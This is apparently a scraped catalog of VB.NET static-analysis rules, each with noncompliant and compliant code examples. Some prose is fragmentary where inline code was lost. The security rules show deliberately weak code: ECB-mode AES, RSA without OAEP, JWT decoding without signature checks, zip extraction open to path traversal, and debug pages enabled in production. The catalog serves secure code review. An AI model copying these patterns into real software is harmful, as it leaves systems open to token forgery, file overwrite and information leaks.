Exposing methods with multidimensional array parameters requires developers to have advanced knowledge about the language in order to be able to use them. Moreover, what exactly to pass to such parameters is not intuitive. Therefore, such methods should not be exposed, but can be used internally. Noncompliant Code ExampleModule Module1 Sub WriteMatrix(ByVal matrix As Integer()()) ' Non-Compliant ' ... End Sub End Module Compliant SolutionClass Matrix ' ... End Class Module Module1 Sub WriteMatrix(ByVal matrix As Matrix) ' Compliant ' ... End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1226 |
While it is technically correct to assign to parameters from within method bodies, doing so before the parameter value is read is likely a bug.
Instead, initial values of parameters should be, if not treated as Noncompliant Code ExampleModule Module1 Sub Foo(ByVal a As Integer) a = 42 ' Noncompliant End Sub End Module Compliant SolutionModule Module1 Sub Foo(ByVal a As Integer) Dim tmp = a tmp = 42 End Sub End Module Exceptions
Module Module1 Sub Foo(ByRef a As Integer) a = 42 ' Ignored; it is a ByRef parameter End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3889 |
Noncompliant Code ExamplePublic Sub Foo() Thread.CurrentThread.Suspend() ' Noncompliant Thread.[Resume]() ' Noncompliant End Sub See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3923 |
Having all branches in a Noncompliant Code ExampleDim b As Integer = If(a > 12, 4, 4) If b = 0 Then DoTheThing() Else DoTheThing() End If Select Case i Case 1 DoSomething() Case 2 DoSomething() Case 3 DoSomething() Case Else DoSomething() End Select ExceptionsThis rule does not apply to If b = 0 Then ' No issue, this could have been done on purpose to make the code more readable DoTheThing() ElseIf DoTheThing() End If |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3926 |
Fields marked with This rule raises when at least one field with the Noncompliant Code Example<Serializable> Public Class Foo ' Noncompliant <OptionalField(VersionAdded:=2)> Private optionalField As Integer = 5 End Class Compliant Solution<Serializable> Public Class Foo <OptionalField(VersionAdded:=2)> Private optionalField As Integer = 5 <OnDeserializing> Private Sub OnDeserializing(ByVal context As StreamingContext) optionalField = 5 End Sub <OnDeserialized> Private Sub OnDeserialized(ByVal context As StreamingContext) End Sub End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3927 |
Serialization event handlers that don't have the correct signature will simply not be called, thus bypassing any attempts to augment the automated de/serialization. This rule raises issue when a method marked with one of the following attributes is not
Noncompliant Code Example<Serializable> Public Class Foo <OnSerializing> Public Sub OnSerializing(ByVal context As StreamingContext) ' Noncompliant should be private End Sub <OnSerialized> Private Function OnSerialized(ByVal context As StreamingContext) As Integer ' Noncompliant should return void End Function <OnDeserializing> Private Sub OnDeserializing() ' Noncompliant should have a single parameter of type StreamingContext End Sub <OnSerializing> Public Sub OnSerializing2(Of T)(ByVal context As StreamingContext) ' Noncompliant should have no type parameters End Sub <OnDeserialized> Private Sub OnDeserialized(ByVal context As StreamingContext, ByVal str As String) ' Noncompliant should have a single parameter of type StreamingContext End Sub End Class Compliant Solution<Serializable> Public Class Foo <OnSerializing> Private Sub OnSerializing(ByVal context As StreamingContext) End Sub <OnSerialized> Private Sub OnSerialized(ByVal context As StreamingContext) End Sub <OnDeserializing> Private Sub OnDeserializing(ByVal context As StreamingContext) End Sub <OnDeserialized> Private Sub OnDeserialized(ByVal context As StreamingContext) End Sub End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1186 |
There are several reasons for a method not to have a method body:
Noncompliant Code ExampleSub DoSomething() End Sub Function DoSomething() As String End Function Compliant SolutionSub DoSomething() ' Not implemented because of reason End Sub Function DoSomething() As String Throw New NotSupportedException End Function ExceptionsThe following methods are ignored:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1066 |
Merging collapsible Noncompliant Code ExampleIf condition1 Then If condition2 Then ' Noncompliant ' ... End If End If Compliant SolutionIf condition1 AndAlso condition2 Then ' ... End If |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4210 |
When an assembly uses Windows Forms (classes and interfaces from the This rule raises an issue when the entry point ( Noncompliant Code ExampleImports System.Windows.Forms Public Class Foo Shared Sub Main() Dim winForm As Form = New Form Application.Run(winForm) End Sub End Class Compliant SolutionImports System.Windows.Forms Public Class Foo <STAThread()> Shared Sub Main() Dim winForm As Form = New Form Application.Run(winForm) End Sub End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2551 |
Shared resources should not be used for locking as it increases the chance of deadlocks. Any other thread could acquire (or attempt to acquire) the same lock for another unrelated purpose. Instead, a dedicated The following objects are considered as shared resources:
Noncompliant Code ExamplePublic Sub MyLockingMethod() SyncLock Me 'Noncompliant ' ... End SyncLock End Sub Compliant SolutionClass MyClass Dim lockObj As New Object() Public Sub MyLockingMethod() SyncLock lockObj ' ... End SyncLock End Sub End Class See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S5542 |
To perform secure cryptography, operation modes and padding scheme are essentials and should be used correctly according to the encryption algorithm:
Noncompliant Code ExampleAesManaged object with insecure mode: Dim aes4 = New AesManaged With { .KeySize = 128, .BlockSize = 128, .Mode = CipherMode.ECB, ' Noncompliant .Padding = PaddingMode.PKCS7 } RSACryptoServiceProvider object without OAEP padding: Dim RSA1 = New RSACryptoServiceProvider() Dim encryptedData = RSA1.Encrypt(dataToEncrypt, False) ' Noncompliant: OAEP Padding is not used (second parameter set to false) Compliant SolutionAES with GCM mode with bouncycastle library: Dim blockCipher As GcmBlockCipher = New GcmBlockCipher(New AesFastEngine()) ' Compliant blockCipher.Init(True, New AeadParameters(New KeyParameter(secretKey), 128, iv, Nothing)) AES with GCM mode with AesGcm object: Dim aesGcm = New AesGcm(key) ' Compliant RSA with OAEP padding with RSACryptoServiceProvider object: Dim RSA2 = New RSACryptoServiceProvider() Dim encryptedData = RSA2.Encrypt(dataToEncrypt, True) ' Compliant: OAEP Padding is used (second parameter set to true)
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1067 |
Complex boolean expressions are hard to read and so to maintain. Noncompliant Code ExampleWith the default threshold value of 3 If ((condition1 AndAlso condition2) OrElse (condition3 AndAlso condition4)) AndAlso condition5) Then 'Noncompliant ... End If Compliant SolutionIf ((MyFirstCondition() OrElse MySecondCondition()) AndAlso MyLastCondition()) Then ... End If |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1862 |
A chain of Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior. Noncompliant Code ExampleIf param = 1 Then OpenWindow() ElseIf param = 2 Then CloseWindow() ElseIf param = 1 Then ' Noncompliant MoveWindowToTheBackground() End If Compliant SolutionIf param = 1 Then OpenWindow() ElseIf param = 2 Then CloseWindow() ElseIf param = 3 Then MoveWindowToTheBackground() End If See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2951 |
Visual Basic .NET, unlike many other programming languages, has no "fall-through" for its Noncompliant Code ExampleModule Module1 Sub Main() Dim x = 0 Select Case x Case 0 Console.WriteLine("0") Exit Select ' Noncompliant Case Else Console.WriteLine("Not 0") Exit Select ' Noncompliant End Select End Sub End Module Compliant SolutionModule Module1 Sub Main() Dim x = 0 Select Case x Case 0 ' Compliant Console.WriteLine("0") Case Else ' Compliant Console.WriteLine("Not 0") End Select End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1172 |
Unused parameters are misleading. Whatever the values passed to such parameters, the behavior will be the same. This rule raises an issue when a Noncompliant Code ExamplePrivate Sub DoSomething(ByVal a As Integer, ByVal b as Integer) ' "b" is unused Compute(a) End Sub Private Function DoSomething2(ByVal a As Integer, ByVal b As Integer) As Integer ' "a" is unused Compute(b) Return b End Function Compliant SolutionPrivate Sub DoSomething(ByVal a As Integer) Compute(a) End Sub Private Function DoSomething2(ByVal b As Integer) As Integer Compute(b) Return b End Function ExceptionsThis rule doesn't raise any issue in the following contexts:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2304 |
Shared coding conventions allow teams to collaborate efficiently. This rule checks that all namespace names match a provided regular expression. The default configuration is the one recommended by Microsoft:
Noncompliant Code ExampleWith the default regular expression: Namespace foo ' Noncompliant End Namespace Compliant SolutionNamespace Foo ' Compliant End Namespace |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S5659 |
If a JSON Web Token (JWT) is not signed with a strong cipher algorithm (or not signed at all) an attacker can forge it and impersonate user identities.
Noncompliant Code Examplejwt-dotnet library: Dim decodedtoken1 As String = decoder.Decode(token, secret, verify:= false) ' Noncompliant: signature should be verified Dim decodedtoken2 As String = new JwtBuilder(). WithSecret(secret). Decode(forgedtoken1) ' Noncompliant: signature should be verified Compliant Solutionjwt-dotnet library: Dim decodedtoken1 As String = decoder.Decode(forgedtoken1, secret, verify:= true) ' Compliant Dim decodedtoken2 As String = new JwtBuilder(). WithSecret(secret). MustVerifySignature(). Decode(token) ' Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2429 |
The Noncompliant Code ExampleModule Module1 Sub Main() Dim foo(1) As String ' Noncompliant foo(0) = "foo" foo(1) = "bar" End Sub End Module Compliant SolutionModule Module1 Sub Main() Dim foo = {"foo", "bar"} ' Compliant End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4201 |
There's no need to null test in conjunction with an Noncompliant Code ExampleIf (x IsNot Nothing And TypeOf x Is MyClass) ' ... End If If (x Is Nothing Or TypeOf x IsNot MyClass) ' ... End If Compliant SolutionIf (TypeOf x Is MyClass) ' ... End If If (TypeOf x IsNot MyClass) ' ... End If |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1451 |
Each source file should start with a header stating file ownership and the license which must be used to distribute the application. This rule must be fed with the header text that is expected at the beginning of every file. The For example, if you want the source file to look like this ' Copyright (c) SonarSource. All Rights Reserved. Licensed under the LGPL License. See License.txt in the project root for license information. namespace Foo { } then the ' Copyright (c) SonarSource. All Rights Reserved. Licensed under the LGPL License. See License.txt in the project root for license information. Compliant Solution/* * SonarQube, open source software quality management tool. * Copyright (C) 2008-2013 SonarSource * mailto:contact AT sonarsource DOT com * * SonarQube is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 3 of the License, or (at your option) any later version. * * SonarQube is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3598 |
When declaring a Windows Communication Foundation (WCF) Noncompliant Code Example<ServiceContract> Interface IMyService <OperationContract(IsOneWay:=True)> Function SomethingHappened(ByVal parameter As Integer) As Integer ' Noncompliant End Interface Compliant Solution<ServiceContract> Interface IMyService <OperationContract(IsOneWay:=True)> Sub SomethingHappened(ByVal parameter As Integer) End Interface ExceptionsThe rule doesn't report if |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3358 |
Just because you can do something, doesn't mean you should, and that's the case with nested ternary operations. Nesting ternary operators results in the kind of code that may seem clear as day when you write it, but six months later will leave maintainers (or worse - future you) scratching their heads and cursing. Instead, err on the side of clarity, and use another line to express the nested operation as a separate statement. Noncompliant Code ExamplePublic Function GetReadableStatus(job As Job) As String Return If(job.IsRunning, "Running", If(job.HasErrors, "Failed", "Succeeded")) ' Noncompliant End Function Compliant SolutionPublic Function GetReadableStatus(job As Job) As String If job.IsRunning Then Return "Running" Return If(job.HasErrors, "Failed", "Succeeded") End Function |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2302 |
Because parameter names could be changed during refactoring, they should not be spelled out literally in strings. Instead, use
This rule raises an issue when any string in the Noncompliant Code ExamplePublic Sub DoSomething(param As Integer, secondParam As String) If (param < 0) Throw New Exception("param") ' Noncompliant End If If secondParam is Nothing Throw New Exception("secondParam should be valid") ' Noncompliant End If End Sub Compliant SolutionPublic Sub DoSomething(param As Integer, secondParam As String) If (param < 0) Throw New Exception(NameOf(param)) End If If secondParam is Nothing Throw New Exception($"{NameOf(secondParam)} should be valid") End If End Sub Exceptions
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S5042 |
Expanding archive files is security-sensitive. For example, expanding archive files has led in the past to the following vulnerabilities: Applications that expand archive files (zip, tar, jar, war, 7z, ...) should verify the path where the archive's files are expanded and not trust blindly the content of the archive. Archive's files should not be expanded outside of the root directory where the archive is supposed to be expanded. Also, applications should control the size of the expanded data to not be a victim of Zip Bomb attack. Failure to do so could allow an attacker to use a specially crafted archive that holds directory traversal paths (e.g. ../../attacker.sh) or the attacker could overload the file system, processors or memory of the operating system where the archive is expanded making the target OS completely unusable. This rule raises an issue when code handle archives. The goal is to guide security code reviews. Ask Yourself Whether
There is a risk if you answered yes to any of those questions.
Recommended Secure Coding PracticesValidate the full path of the extracted file against the full path of the directory where files are expanded:
Stop extracting the archive if any of its entries has been tainted with a directory traversal path. Define and control the ratio between compressed and uncompress bytes. Define and control the maximum allowed expanded file size. Count the number of file entries extracted from the archive and abort the extraction if their number is greater than a predefined threshold. Sensitive Code ExampleFor Each entry As ZipArchiveEntry in archive.Entries ' entry.FullName could contain parent directory references ".." and the destinationPath variable could become outside of the desired path string destinationPath = Path.GetFullPath(Path.Combine(path, entry.FullName)) entry.ExtractToFile(destinationPath) ' Sensitive, extracts the entry to a file Dim stream As Stream stream = entry.Open() ' Sensitive, the entry is about to be extracted Next See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1481 |
If a local variable is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable is used for. Noncompliant Code ExamplePublic Function NumberOfMinutes(ByVal hours As Integer) As Integer Dim seconds As Integer = 0 ' Seconds never used Return hours * 60 End Function Compliant SolutionPublic Function NumberOfMinutes(ByVal hours As Integer) As Integer Return hours * 60 End Function ExceptionsUnused locally created resources in a Using t = New TestTimer() End Using |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1645 |
Consistently using the
Noncompliant Code ExampleModule Module1 Sub Main() Console.WriteLine("1" + 2) ' Noncompliant - will display "3" End Sub End Module Compliant SolutionModule Module1 Sub Main() Console.WriteLine(1 & 2) ' Compliant - will display "12" Console.WriteLine(1 + 2) ' Compliant - but will display "3" Console.WriteLine("1" & 2) ' Compliant - will display "12" End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2339 |
Constant members are copied at compile time to the call sites, instead of being fetched at runtime. As an example, say you have a library with a constant This means that you should use constants to hold values that by definition will never change, such as This rule only reports issues on public constant fields, which can be reached from outside the defining assembly. Noncompliant Code ExamplePublic Class Foo Public Const Version = 1.0 ' Noncompliant End Class Compliant SolutionPublic Class Foo Public Shared ReadOnly Property Version = 1.0 ' Compliant End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2737 |
A Such clauses should either be eliminated or populated with the appropriate logic. Noncompliant Code ExampleDim s As String = "" Try s = File.ReadAllText(fileName) Catch e As Exception Throw End Try Compliant SolutionDim s As String = "" Try s = File.ReadAllText(fileName) Catch e As Exception logger.LogError(e) Throw End Try or Dim s As String = File.ReadAllText(fileName) ExceptionsThis rule will not generate issues for Dim s As String = "" Try s = File.ReadAllText(fileName) Catch e As IOException 'Compliant, if removed will change the logic Throw Catch e As Exception 'Compliant, does more than just rethrow logger.LogError(e) Throw End Try |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3385 |
Other than
This rule raises an issue for all uses of Noncompliant Code ExamplePublic Class Sample Dim condition As Boolean Public Sub MySub() If condition Then Exit Sub ' Noncompliant End If For index = 1 To 10 If index = 5 Then Exit For ' Noncompliant End If ' ... Next End Sub Function MyFunction() As Object ' ... MyFunction = 42 Exit Function ' Noncompliant End Function End Class Compliant SolutionPublic Class Sample Dim condition As Boolean Public Sub MySub() If condition Then Return End If For index = 1 To 4 ' ... Next End Sub Function MyFunction() As Object ' ... Return 42 End Function End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S101 |
Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that all class names match a provided regular expression. The default configuration is the one recommended by Microsoft:
Noncompliant Code ExampleWith the default regular expression Class foo ' Noncompliant End Class Compliant SolutionClass Foo ' Compliant End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2178 |
The use of non-short-circuit logic in a boolean context is likely a mistake - one that could cause serious program errors as conditions are evaluated under the wrong circumstances. Noncompliant Code ExampleIf GetTrue() Or GetFalse() Then ' Noncompliant; both sides evaluated End If Compliant SolutionIf GetTrue() OrElse GetFalse() Then ' true short-circuit logic End If See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1125 |
Redundant Boolean literals should be removed from expressions to improve readability. Noncompliant Code ExampleIf BooleanMethod() = True Then ' Noncompliant ' ... End If If BooleanMethod() = False Then ' Noncompliant ' ... End If If BooleanMethod() OrElse False Then ' Noncompliant ' ... End If DoSomething(Not False) ' Noncompliant DoSomething(BooleanMethod() = True) ' Noncompliant Dim booleanVariable = If(BooleanMethod(), True, False) ' Noncompliant booleanVariable = If(BooleanMethod(), True, exp) ' Noncompliant booleanVariable = If(BooleanMethod(), False, exp) ' Noncompliant booleanVariable = If(BooleanMethod(), exp, True) ' Noncompliant booleanVariable = If(BooleanMethod(), exp, False) ' Noncompliant Compliant SolutionIf BooleanMethod() Then ' ... End If If Not BooleanMethod() Then ' ... End If If BooleanMethod() Then ' ... End If DoSomething(True) DoSomething(BooleanMethod()) Dim booleanVariable = BooleanMethod() booleanVariable = BooleanMethod() OrElse exp booleanVariable = Not BooleanMethod() AndAlso exp booleanVariable = Not BooleanMethod() OrElse exp booleanVariable = BooleanMethod() AndAlso exp |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1764 |
Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified. This rule ignores Noncompliant Code ExampleIf (a = a) Then doZ() End If If a = b OrElse a = b Then doW() End If Dim j = 5 / 5 j = 5 \ 5 j = 5 Mod 5 Dim k = 5 - 5 Dim i = 42 i /= i i -= i ExceptionsThis rule ignores See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1643 |
Noncompliant Code ExampleModule Module1 Sub Main() Dim foo = "" foo &= "Result: " ' Compliant - outside of loop For i = 1 To 9 foo &= i ' Noncompliant Next End Sub End Module Compliant SolutionModule Module1 Sub Main() Dim foo = New System.Text.StringBuilder foo.Append("Result: ") ' Compliant For i = 1 To 9 foo.Append(i) ' Compliant Next End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1479 |
When Noncompliant Code ExampleWith a "Maximum number of case" set to 4 Public Class TooManyCase Public Function SelectCase(Ch As Char) As Integer Select Case Ch Case "a"c Return 1 Case "b"c, "c"c Return 2 Case "d"c Return 3 Case "e"c Return 4 Case "f"c, "g"c, "h"c Return 5 Case Else Return 6 End Select End Function End Class Compliant SolutionPublic Class TooManyCase Private fMatching As New Dictionary(Of Char, Integer) From { {"a"c, 1}, {"b"c, 2}, {"c"c, 2}, {"d"c, 3}, {"e"c, 4}, {"f"c, 5}, {"g"c, 5}, {"h"c, 5}, } Public Function SelectCase(Ch As Char) As Integer Dim Value As Integer If fMatching.TryGetValue(Ch, Value) Then Return Value Else Return 6 End If End Function End Class ExceptionsThis rule ignores |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4507 |
Delivering code in production with debug features activated is security-sensitive. It has led in the past to the following vulnerabilities: An application's debug features enable developers to find bugs more easily and thus facilitate also the work of attackers. It often gives access to detailed information on both the system running the application and users. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesDo not enable debug features on production servers. The .Net Core framework offers multiple features which help during debug.
Use Sensitive Code ExampleThis rule raises issues when the following .Net Core methods are called:
Imports Microsoft.AspNetCore.Builder Imports Microsoft.AspNetCore.Hosting Namespace MyMvcApp Public Class Startup Public Sub Configure(ByVal app As IApplicationBuilder, ByVal env As IHostingEnvironment) ' Those calls are Sensitive because it seems that they will run in production app.UseDeveloperExceptionPage() 'Sensitive app.UseDatabaseErrorPage() 'Sensitive End Sub End Class End Namespace Compliant SolutionImports Microsoft.AspNetCore.Builder Imports Microsoft.AspNetCore.Hosting Namespace MyMvcApp Public Class Startup Public Sub Configure(ByVal app As IApplicationBuilder, ByVal env As IHostingEnvironment) If env.IsDevelopment() Then ' Compliant ' The following calls are ok because they are disabled in production app.UseDeveloperExceptionPage() app.UseDatabaseErrorPage() End If End Sub End Class End Namespace See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4586 |
Returning Noncompliant Code ExamplePublic Function GetFooAsync() As Task(Of Object) Return Nothing End Function Compliant SolutionPublic Function GetFooAsync() As Task(Of Object) Return Task.FromResult(Of Object)(Nothing) End Function |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1075 |
Hard coding a URI makes it difficult to test a program: path literals are not always portable across operating systems, a given absolute path may not exist on a specific test environment, a specified Internet URL may not be available when executing the tests, production environment filesystems usually differ from the development environment, ...etc. For all those reasons, a URI should never be hard coded. Instead, it should be replaced by customizable parameter. Further even if the elements of a URI are obtained dynamically, portability can still be limited if the path-delimiters are hard-coded. This rule raises an issue when URI's or path delimiters are hard coded. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1197 |
Array designators should always be located on the type for better code readability. Otherwise, developers must look both at the type and the variable name to know whether or not a variable is an array. Noncompliant Code ExampleModule Module1 Sub Main() Dim foo() As String ' Noncompliant End Sub End Module Compliant SolutionModule Module1 Sub Main() Dim foo As String() ' Compliant End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3011 |
This rule raises an issue when reflection is used to change the visibility of a class, method or field, and when it is used to directly update a field value. Altering or bypassing the accessibility of classes, methods, or fields violates the encapsulation principle and could lead to run-time errors. Noncompliant Code ExampleImports System.Reflection Dim dynClass = Type.GetType("MyInternalClass") ' Sensitive. Using BindingFlags.NonPublic will return non-public members Dim bindingAttr As BindingFlags = BindingFlags.NonPublic Or BindingFlags.Static Dim dynMethod As MethodInfo = dynClass.GetMethod("mymethod", bindingAttr) Dim result = dynMethod.Invoke(dynClass, Nothing) See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1110 |
The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed. Noncompliant Code ExampleIf a AndAlso ((x + y > 0)) Then ' Noncompliant ' ... End If Return ((x + 1)) ' Noncompliant Compliant SolutionIf a AndAlso x + y > 0 Then ' ... End If Return (x + 1) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1871 |
Having two Noncompliant Code ExampleSelect i Case 1 DoFirst() DoSomething() Case 2 DoSomethingDifferent() Case 3 ' Noncompliant; duplicates case 1's implementation DoFirst() DoSomething() Case Else: DoTheRest() End Select If a >= 0 AndAlso a < 10 Then DoFirst() DoTheThing() ElseIf a >= 10 AndAlso a < 20 Then DoTheOtherThing() ElseIf a >= 20 AndAlso a < 50 ' Noncompliant; duplicates first condition DoFirst() DoTheThing() Else DoTheRest(); End If ExceptionsBlocks in an If a >= 0 AndAlso a < 10 Then DoTheThing() ElseIf a >= 10 AndAlso a < 20 Then DoTheOtherThing() ElseIf a >= 20 AndAlso a < 50 ' no issue, usually this is done on purpose to increase the readability DoTheThing() End If But this exception does not apply to If a >= 0 AndAlso a < 10 Then DoTheThing() ElseIf a >= 10 AndAlso a < 20 Then DoTheOtherThing() ' Noncompliant, this might have been done on purpose but probably not End If |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1751 |
A loop with at most one iteration is equivalent to the use of an At worst that was not the initial intention of the author and so the body of the loop should be fixed to use the nested Noncompliant Code ExampleFor i As Integer = 0 To 10 'noncompliant, loop only executes once foo(i) Exit For Next ... For i As Integer = 0 To 10 'noncompliant, loop only executes once If i = Something Exit For Else foo(i) Return End If Next Compliant SolutionFor i As Integer = 0 To 10 foo(i) Next ... For i As Integer = 0 To 10 If i = Something Exit For Else foo(i) End If Next |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3776 |
Cognitive Complexity is a measure of how hard the control flow of a function is to understand. Functions with high Cognitive Complexity will be difficult to maintain. See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S117 |
Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate.This rule checks that all local variables follow a naming convention. The default configuration is:
Noncompliant Code ExampleWith the default regular expression Module Module1 Sub Main() Dim Foo = 0 ' Noncompliant End Sub End Module Compliant SolutionModule Module1 Sub Main() Dim foo = 0 ' Compliant End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S114 |
Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that all interface names match a provided regular expression. The default configuration is the one recommended by Microsoft:
